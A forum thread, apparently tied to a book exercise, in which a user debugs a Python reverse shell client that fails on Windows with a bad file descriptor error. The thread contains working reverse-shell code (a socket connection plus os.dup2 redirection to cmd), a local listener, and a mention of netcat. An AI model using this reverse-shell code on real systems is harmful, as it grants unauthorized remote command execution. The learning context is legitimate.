Chapter 3 reverse_shell_py [Errno 9] Bad file descriptor on line os.dup2(s.fileno(),0)

[pukiwawa86]

Running on python3.12, windows 11, AMD64, 64 bits

Keep having [Errno 9] Bad file descriptor.

Below is my code for the client

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("127.0.0.1", 45678))
#if r==0:
s.send(b"Hello")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell_remote=subprocess.call(("cmd", "dir"))
proc = subprocess.call(("dir"))
s.close()

I tried the server with two methods:
using netcat-win32-1.12 from https://eternallybored.org/misc/netcat/

AND also writing a simple server.py by myself, as follows:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 45678))
s.listen(5)
print("Listening...")
client, addr = s.accept()
while True:
	request = client.recv(1024).decode()
	print("[+] Received: ", request)
	if request == "quit":
		break
	if len(request) < 1:
		break

s.close()

Something wrong with this example?

[pukiwawa86]

Guys, I just found out that os.dup2 and socket.fileno() does not work on Windows as it is written on docs, as follows:

socket.fileno()
Return the socket’s file descriptor (a small integer). This is useful with select.select().

Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation.